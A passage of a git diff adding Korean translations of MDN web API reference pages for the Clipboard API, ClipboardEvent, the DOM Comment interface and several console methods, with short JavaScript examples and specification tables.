+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Clipboard API','#clipboard-interface','Clipboard')}}</td>
+   <td>{{Spec2('Clipboard API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility">Browser Compatibility</h2>
+
+
+
+<p>{{Compat("api.Clipboard")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Document.execCommand()")}}</li>
+</ul>
diff --git a/files/ko/web/api/clipboard_api/index.html b/files/ko/web/api/clipboard_api/index.html
new file mode 100644
index 0000000000..325ce87e71
--- /dev/null
+++ b/files/ko/web/api/clipboard_api/index.html
@@ -0,0 +1,74 @@
+---
+title: Clipboard API
+slug: Web/API/Clipboard_API
+tags:
+  - API
+  - Clipboard API
+  - Landing
+  - Overview
+  - 클립보드
+translation_of: Web/API/Clipboard_API
+---
+<div>{{DefaultAPISidebar("Clipboard API")}}</div>
+
+<p><strong>Clipboard API</strong>는 클립보드 명령(잘라내기, 복사, 붙여넣기)에 응답할 수 있는 기능 및 시스템 클립보드에 비동기적으로 읽고 쓸 수 있는 방법을 제공합니다. 클립보드 콘텐츠로의 접근은 <a href="/ko/docs/Web/API/Permissions_API">Permissions API</a>를 통해야 하며, 사용자 동의 없이는 콘텐츠를 읽거나 수정할 수 없습니다.</p>
+
+<p>Clipboard API는 {{domxref("document.execCommand()")}}를 사용한 클립보드 접근을 대체하기 위해 디자인되었습니다.</p>
+
+<h2 id="클립보드_접근">클립보드 접근</h2>
+
+<p><code>Clipboard</code> 객체의 인스턴스를 생성하지 않고, 전역 {{domxref("Navigator.clipboard", "navigator.clipboard")}}를 사용해 시스템 클립보드에 접근합니다.</p>
+
+<pre class="brush: js">navigator.clipboard.readText().then(
+  clipText =&gt; document.querySelector(".editor").innerText += clipText);</pre>
+
+<p>위의 코드 조각은 클립보드에서 텍스트를 가져와서, <code>editor</code> 클래스를 가진 요소의 콘텐츠 뒤에 추가합니다. {{domxref("Clipboard.readText", "readText()")}}는 클립보드의 내용이 텍스트가 아니면 빈 문자열을 반환하므로, 이렇게 작성해도 안전합니다.</p>
+
+<h2 id="인터페이스">인터페이스</h2>
+
+<dl>
+ <dt>{{domxref("Clipboard")}} {{securecontext_inline}}</dt>
+ <dd>시스템 클립보드에서 텍스트와 데이터를 읽고 쓸 수 있는 인터페이스를 제공합니다. 명세는 'Async Clipboard API'라고 부릅니다.</dd>
+ <dt>{{domxref("ClipboardEvent")}} {{securecontext_inline}}</dt>
+ <dd>클립보드 수정에 관련된 정보를 제공하는 이벤트, 즉 {{domxref("Element/cut_event", "cut")}}, {{domxref("Element/copy_event", "copy")}}, {{domxref("Element/paste_event", "paste")}} 이벤트를 나타냅니다. 명세는 'Clipboard Event API'라고 부릅니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Clipboard API')}}</td>
+   <td>{{Spec2('Clipboard API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<h3 id="Clipboard"><code>Clipboard</code></h3>
+
+<div>
+
+
+<p>{{Compat("api.Clipboard")}}</p>
+
+<h3 id="ClipboardEvent"><code>ClipboardEvent</code></h3>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.ClipboardEvent")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Permissions_API">Permissions API</a></li>
+ <li><a href="/ko/docs/Web/API/Permissions_API/Using_the_Permissions_API">Using the Permissions API</a></li>
+</ul>
+</div>
diff --git a/files/ko/web/api/clipboardevent/clipboarddata/index.html b/files/ko/web/api/clipboardevent/clipboarddata/index.html
new file mode 100644
index 0000000000..7334fa7e83
--- /dev/null
+++ b/files/ko/web/api/clipboardevent/clipboarddata/index.html
@@ -0,0 +1,51 @@
+---
+title: ClipboardEvent.clipboardData
+slug: Web/API/ClipboardEvent/clipboardData
+translation_of: Web/API/ClipboardEvent/clipboardData
+---
+<p>{{ apiref("Clipboard API") }} {{SeeCompatTable}}</p>
+
+<p><code><strong>ClipboardEvent.clipboardData</strong></code> 속성은 {{domxref("DataTransfer")}} 객체를 가지고 있으며, 아래와 같은 목적으로 사용될 수 있습니다:</p>
+
+<ul>
+ <li>{{event("cut")}} 과 {{event("copy")}} 이벤트 핸들러로부터 어떤 데이터가 클립보드에 들어있는지, 일반적으로 {{domxref("DataTransfer.setData", "setData(format, data)")}} 함수를 호출하여 확인하는 것;</li>
+ <li>{{event("paste")}} 이벤트 핸들러로부터 일반적으로 {{domxref("DataTransfer.getData", "getData(format)")}} 함수를 호출하여 붙여넣어진 데이터를 얻는 것.</li>
+</ul>
+
+<p>더 많은 정보를 확인하려면 {{event("cut")}}, {{event("copy")}}, and {{event("paste")}} 이벤트에 관한 문서를 참고하세요.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>data</em> = <em>ClipboardEvent</em>.clipboardData</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Clipboard API', '#widl-ClipboardEvent-clipboardData', 'ClipboardEvent.clipboardData') }}</td>
+   <td>{{ Spec2('Clipboard API') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.ClipboardEvent.clipboardData")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Copy-related events: {{event("copy")}}, {{event("cut")}}, {{event("paste")}}</li>
+ <li>The {{domxref("ClipboardEvent")}} interface it belongs to.</li>
+</ul>
diff --git a/files/ko/web/api/clipboardevent/index.html b/files/ko/web/api/clipboardevent/index.html
new file mode 100644
index 0000000000..332846c031
--- /dev/null
+++ b/files/ko/web/api/clipboardevent/index.html
@@ -0,0 +1,67 @@
+---
+title: ClipboardEvent
+slug: Web/API/ClipboardEvent
+tags:
+  - API
+  - Clipboard API
+  - Event
+  - Experimental
+  - Interface
+  - NeedsTranslation
+  - TopicStub
+translation_of: Web/API/ClipboardEvent
+---
+<p>{{APIRef("Clipboard API")}} {{SeeCompatTable}}</p>
+
+<p>The <strong><code>ClipboardEvent</code></strong> interface represents events providing information related to modification of the clipboard, that is {{event("cut")}}, {{event("copy")}}, and {{event("paste")}} events.</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("ClipboardEvent.ClipboardEvent", "ClipboardEvent()")}}</dt>
+ <dd>Creates a <code>ClipboardEvent</code> event with the given parameters.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Also inherits properties from its parent {{domxref("Event")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("ClipboardEvent.clipboardData")}} {{readonlyInline}}</dt>
+ <dd>Is a {{domxref("DataTransfer")}} object containing the data affected by the user-initiated {{event("cut")}}, {{event("copy")}}, or {{event("paste")}} operation, along with its MIME type.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>No specific methods; inherits methods from its parent {{domxref("Event")}}</em>.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Clipboard API', '#clipboard-event-interfaces', 'ClipboardEvent') }}</td>
+   <td>{{ Spec2('Clipboard API') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.ClipboardEvent")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Copy-related events: {{event("copy")}}, {{event("cut")}}, {{event("paste")}}</li>
+</ul>
diff --git a/files/ko/web/api/comment/index.html b/files/ko/web/api/comment/index.html
new file mode 100644
index 0000000000..8758469444
--- /dev/null
+++ b/files/ko/web/api/comment/index.html
@@ -0,0 +1,73 @@
+---
+title: Comment
+slug: Web/API/Comment
+tags:
+  - API
+  - DOM
+  - Reference
+translation_of: Web/API/Comment
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<p><span class="seoSummary"><code><strong>Comment</strong></code> 인터페이스는 마크업 내의 텍스트 표기인 주석을 나타냅니다. 주석은 화면에 보여지지 않지만 웹 페이지의 소스에서 확인할 수 있습니다.</span> HTML과 XML에서 주석은  '<code>&lt;!--</code>' 표기와 '<code>--&gt;</code>' 사이의 내용입니다. XML의 주석 내용에는 '<code>--</code>'을 포함할 수 없습니다.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="속성">속성</h2>
+
+<p><code>Comment</code> 인터페이스는 별도의 속성을 갖지 않지만 부모인 {{domxref("CharacterData")}}와, 그 부모인 {{domxref("Node")}}의 속성을 상속합니다.</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("Comment.Comment()", "Comment()")}} {{experimental_inline}}</dt>
+ <dd>매개변수를 내용으로 하는 <code>Comment</code> 객체를 반환합니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><code>Comment</code> 인터페이스는 별도의 메서드를 갖지 않지만 부모인 {{domxref("CharacterData")}}와, 그 부모인 {{domxref("Node")}}의 메서드를 상속합니다.</p>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#comment', 'Comment')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Added the constructor.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-1728279322', 'Comment')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>No change from {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-1728279322', 'Comment')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>No change from {{SpecName('DOM1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-1728279322', 'Comment')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Comment")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Document_Object_Model">DOM 인터페이스 목록</a></li>
+</ul>
diff --git a/files/ko/web/api/console/assert/index.html b/files/ko/web/api/console/assert/index.html
new file mode 100644
index 0000000000..3ad2aafa8e
--- /dev/null
+++ b/files/ko/web/api/console/assert/index.html
@@ -0,0 +1,99 @@
+---
+title: console.assert()
+slug: Web/API/Console/assert
+tags:
+  - API
+  - DOM
+  - Method
+  - Reference
+  - console
+translation_of: Web/API/console/assert
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p><code><strong>console.assert()</strong></code> 메서드는 주어진 가정이 거짓인 경우 콘솔에 오류 메시지를 출력합니다. 참인 경우, 아무것도 하지 않습니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">console.assert(<em>assertion</em>, <em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.assert(<em>assertion</em>, <em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]); // c-like message formatting
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>assertion</code></dt>
+ <dd>아무 불리언 표현식. 거짓인 경우, 메시지를 콘솔에 출력합니다.</dd>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>출력에 사용할 JavaScript 객체. 각각의 문자열 표현을 순서대로 출력합니다.</dd>
+ <dt><code>msg</code></dt>
+ <dd>0개 이상의 치환 문자열을 포함하는 JavaScript 문자열.</dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd><code>msg</code> 매개변수의 치환 문자열에 대입할 JavaScript 객체.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 객체와 가정을 함께 사용하는 법을 보입니다.</p>
+
+<pre class="brush: js">const errorMsg = 'the # is not even';
+for (let number = 2; number &lt;= 5; number += 1) {
+    console.log('the # is ' + number);
+    console.assert(number % 2 === 0, {number: number, errorMsg: errorMsg});
+    // or, using <a href="/ko/docs/Web/JavaScript/Reference/Operators/Object_initializer">ES2015 object property shorthand</a>:
+    // console.assert(number % 2 === 0, {number, errorMsg});
+}
+// output:
+// the # is 2
+// the # is 3
+// Assertion failed: {number: 3, errorMsg: "the # is not even"}
+// the # is 4
+// the # is 5
+// Assertion failed: {number: 5, errorMsg: "the # is not even"}
+</pre>
+
+<p>참고로, {{domxref("console.log()")}}의 치환 문자열을 거의 모든 브라우저에서 정상 동작하지만...</p>
+
+<pre class="brush: js">console.log('the word is %s', 'foo');
+// output: the word is foo
+</pre>
+
+<p><code>console.assert()</code>의 치환 문자열은 일부 브라우저에서 동작하지 않습니다.</p>
+
+<pre class="brush: js">console.assert(false, 'the word is %s', 'foo');
+// correct output in Node.js and some browsers
+//     (e.g. Firefox v60.0.2):
+// Assertion failed: the word is foo
+// incorrect output in some browsers
+//     (e.g. Chrome v67.0.3396.87):
+// Assertion failed: the word is %s foo
+</pre>
+
+<p>{{domxref("console")}} 문서의 <a href="/ko/docs/Web/API/Console#Outputting_text_to_the_console">콘솔에 텍스트 출력하기</a> 항목도 참고하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#assert", "console.assert()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Console.assert")}}</p>
diff --git a/files/ko/web/api/console/clear/index.html b/files/ko/web/api/console/clear/index.html
new file mode 100644
index 0000000000..540ce73ee5
--- /dev/null
+++ b/files/ko/web/api/console/clear/index.html
@@ -0,0 +1,43 @@
+---
+title: console.clear()
+slug: Web/API/Console/clear
+tags:
+  - API
+  - Method
+  - Reference
+  - console
+translation_of: Web/API/Console/clear
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p><strong><code>console.clear()</code></strong> 메서드는 현재 환경에서 가능한 경우, 콘솔에 기록된 메시지를 모두 지웁니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">console.clear();
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#clear", "console.clear()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Console.clear")}}</p>
diff --git a/files/ko/web/api/console/count/index.html b/files/ko/web/api/console/count/index.html
new file mode 100644
index 0000000000..0040da4c11
--- /dev/null
+++ b/files/ko/web/api/console/count/index.html
@@ -0,0 +1,102 @@
+---
+title: console.count()
+slug: Web/API/Console/count
+tags:
+  - API
+  - DOM
+  - Method
+  - Reference
+translation_of: Web/API/Console/count
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p><strong><code>console.count()</code></strong> 메서드는 특정 <code>count()</code> 호출의 횟수를 세어 출력합니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">console.count(<var>[label]</var>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>label</code> {{Optional_Inline}}</dt>
+ <dd>{{jsxref("String")}}. 지정한 경우, 이 레이블을 지정한 count() 호출의 수를 출력합니다. 누락한 경우 <code>"default"</code>를 지정한 것처럼 동작합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js; highlight[4, 13]">let user = "";
+
+function greet() {
+  console.count();
+  return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.count();</pre>
+
+<p>위 코드의 출력 결과는 다음과 같은 형태입니다.</p>
+
+<pre class="brush: none;">"default: 1"
+"default: 2"
+"default: 3"
+"default: 4"</pre>
+
+<p>레이블을 명시하지 않았기 때문에 <code>default</code>로 나타납니다.</p>
+
+<p>첫 번째 <code>count()</code>의 매개변수에는 <code>user</code> 변수를 제공하고, 두 번째에는 문자열 <code>"alice"</code>를 제공할 경우...</p>
+
+<pre class="brush: js; highlight[4, 13]">let user = "";
+
+function greet() {
+  console.count(user);
+  return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.count("alice");</pre>
+
+<p>다음과 같이 출력합니다.</p>
+
+<pre class="brush: none;">"bob: 1"
+"alice: 1"
+"alice: 2"
+"alice: 3"</pre>
+
+<dl>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#count", "console.count()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Console.count")}}</p>
diff --git a/files/ko/web/api/console/countreset/index.html b/files/ko/web/api/console/countreset/index.html
new file mode 100644
index 0000000000..30e6d3ee95
--- /dev/null
+++ b/files/ko/web/api/console/countreset/index.html
@@ -0,0 +1,108 @@
+---
+title: Console.countReset()
+slug: Web/API/Console/countReset
+tags:
+  - API
+  - DOM
+  - Method
+  - Reference
+  - console
+translation_of: Web/API/Console/countReset
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p><strong><code>console.countReset()</code></strong> 메서드는 {{domxref("console.count()")}}의 카운터를 초기화합니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">console.countReset(<var>[label]</var>);
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>label</code> {{optional_inline}}</dt>
+ <dd>{{jsxref("String")}}. 지정한 경우, 이 레이블을 지정한 <code>count()</code>를 초기화합니다. 누락한 경우 <code>"default"</code> 카운터를 초기화합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">let user = "";
+
+function greet() {
+  console.count();
+  return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.count();
+console.countReset();</pre>
+
+<p>위 코드의 출력 결과는 다음과 같은 형태입니다.</p>
+
+<pre class="eval">"default: 1"
+"default: 2"
+"default: 3"
+"default: 4"
+"default: 0"
+</pre>
+
+<p><code>countReset()</code>이 기본 카운터를 초기화했음을 알 수 있습니다.</p>
+
+<p>레이블을 지정한 경우...</p>
+
+<pre class="brush: js">let user = "";
+
+function greet() {
+  console.count(user);
+  return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.countReset("bob");
+console.count("alice");</pre>
+
+<p>다음과 같이 출력합니다.</p>
+
+<pre class="eval">"bob: 1"
+"alice: 1"
+"alice: 2"
+"bob: 0"
+"alice: 3"</pre>
+
+<p>카운터 <code>bob</code>을 초기화해도 <code>alice</code>의 값에는 영향이 없습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#count", "console.countReset()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Console.countReset")}}</p>
diff --git a/files/ko/web/api/console/debug/index.html b/files/ko/web/api/console/debug/index.html
new file mode 100644
index 0000000000..86a3abbc0d
--- /dev/null
+++ b/files/ko/web/api/console/debug/index.html
@@ -0,0 +1,59 @@
+---
+title: console.debug()
+slug: Web/API/Console/debug
+tags:
+  - API
+  - Method
+  - Reference
+  - console
+translation_of: Web/API/Console/debug
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p><strong><code>console.debug()</code></strong> 메서드는 메시지를 "디버그" 중요도로 콘솔에 출력합니다. 디버그 중요도 메시지는 별도 설정 없이는 보이지 않습니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">console.debug(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.debug(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>출력에 사용할 JavaScript 객체. 각각의 문자열 표현을 순서대로 출력합니다.</dd>
+ <dt><code>msg</code></dt>
+ <dd>0개 이상의 치환 문자열을 포함하는 JavaScript 문자열.</dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd><code>msg</code> 매개변수의 치환 문자열에 대입할 JavaScript 객체.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#debug", "console.debug()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.Console.debug")}}</p>
+</div>
diff --git a/files/ko/web/api/console/error/index.html b/files/ko/web/api/console/error/index.html
new file mode 100644
index 0000000000..529632b39e
--- /dev/null
+++ b/files/ko/web/api/console/error/index.html
@@ -0,0 +1,77 @@
+---
+title: Console.error()
+slug: Web/API/Console/error
+tags:
+  - API
+  - DOM
+  - 디버깅
+  - 메소드
+  - 웹 개발
+  - 웹 콘솔
+translation_of: Web/API/Console/error
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>웹 콘솔에 에러 메시지를 출력합니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">console.error(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.error(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+console.exception(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.exception(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+</pre>
+
+<div class="note">
+<p><strong>노트:</strong> <code>console.exception()</code>은 <code>console.error()</code>의 별칭입니다. 둘은 기능적으로 동일합니다.</p>
+</div>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>출력할 JavaScript 객체의 리스트. 각 객체의 문자열 표현은 나열된 순서로 함께 출력됩니다.</dd>
+ <dt><code>msg</code></dt>
+ <dd>0개 이상의 하위 문자열을 포함하는 JavaScript 문자열.</dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd><code>msg</code> 안의 대체할 하위 문자열을 포함하는 JavaScript 객체. 출력 형식에 추가 제어를 할 수 있게 해줍니다.</dd>
+</dl>
+
+<p>자세한 내용은 {{domxref("console")}} 문서의 <a href="/ko/docs/Web/API/console#Outputting_text_to_the_console">콘솔에 텍스트를 출력하기</a>를 확인하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#error", "console.error()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.Console.error")}}</p>
+</div>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+ <li><a href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li>
+ <li><a href="https://developers.google.com/chrome-developer-tools/docs/console#errors_and_warnings">Chrome Developer Tools: Using the Console</a></li>
+</ul>
diff --git a/files/ko/web/api/console/group/index.html b/files/ko/web/api/console/group/index.html
new file mode 100644
index 0000000000..a4c4033612
--- /dev/null
+++ b/files/ko/web/api/console/group/index.html
@@ -0,0 +1,83 @@
+---
+title: Console.group()
+slug: Web/API/Console/group
+translation_of: Web/API/Console/group
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p><a href="/en-US/docs/Tools/Web_Console">Web Console</a> log 에 새로운 인라인 그룹을 만듭니다. This indents all following output by an additional level, until {{domxref("console.groupEnd()")}} is called.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre>console.group([label]);</pre>
+
+<h2 id="매개변수">매개변수</h2>
+
+<p> </p>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>Label for the group. Optional. (Chrome 59 tested) Does not work with <code>console.groupEnd()</code>.</dd>
+</dl>
+
+<p>{{h3_gecko_minversion("Using groups in the console", "9.0")}}</p>
+
+<p>You can use nested groups to help organize your output by visually associating related messages. To create a new nested block, call <code>console.group()</code>. The <code>console.groupCollapsed()</code> method is similar, but the new block is collapsed and requires clicking a disclosure button to read it.</p>
+
+<p><strong>Note:</strong> From Gecko 9 until Gecko 51, the <code>groupCollapsed()</code> method was the same as <code>group()</code>. Collapsed groups are fully supported starting in Gecko 52. See {{bug("1088360")}}.</p>
+
+<p>To exit the current group, call <code>console.groupEnd()</code>. For example, given this code:</p>
+
+<pre><code>console.log("This is the outer level");
+console.group();
+console.log("Level 2");
+console.group();
+console.log("Level 3");
+console.warn("More of level 3");
+console.groupEnd();
+console.log("Back to level 2");
+console.groupEnd();
+console.log("Back to the outer level");</code></pre>
+
+<p>The output looks like this:</p>
+
+<p><img alt="A screenshot of messages nested in the console output." src="https://developer.mozilla.org/@api/deki/files/6082/=nesting.png"></p>
+
+<p>See <a href="https://developer.mozilla.org/en-US/docs/Web/API/console#Using_groups_in_the_console">Using groups in the console</a> in the documentation of {{domxref("console")}} for more details.</p>
+
+<p> </p>
+
+<h2 id="설명">설명</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#group", "console.group()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p> </p>
+
+<p>{{Compat("api.Console.group")}}</p>
+
+<p> </p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+</ul>
diff --git a/files/ko/web/api/console/index.html b/files/ko/web/api/console/index.html
new file mode 100644
index 0000000000..cd815b0979
--- /dev/null
+++ b/files/ko/web/api/console/index.html
@@ -0,0 +1,296 @@
+---
+title: console
+slug: Web/API/Console
+tags:
+  - API
+  - Interface
+  - Reference
+  - console
+  - 콘솔
+translation_of: Web/API/Console
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p><span class="seoSummary"><strong><code>console</code></strong> 객체는 브라우저의 디버깅 콘솔(Firefox <a href="/ko/docs/Tools/Web_Console">웹 콘솔</a> 등)에 접근할 수 있는 메서드를 제공합니다.</span> 동작 방식은 브라우저마다 다르지만, 사실상 표준으로 여겨지는 기능도 여럿 있습니다.</p>
+
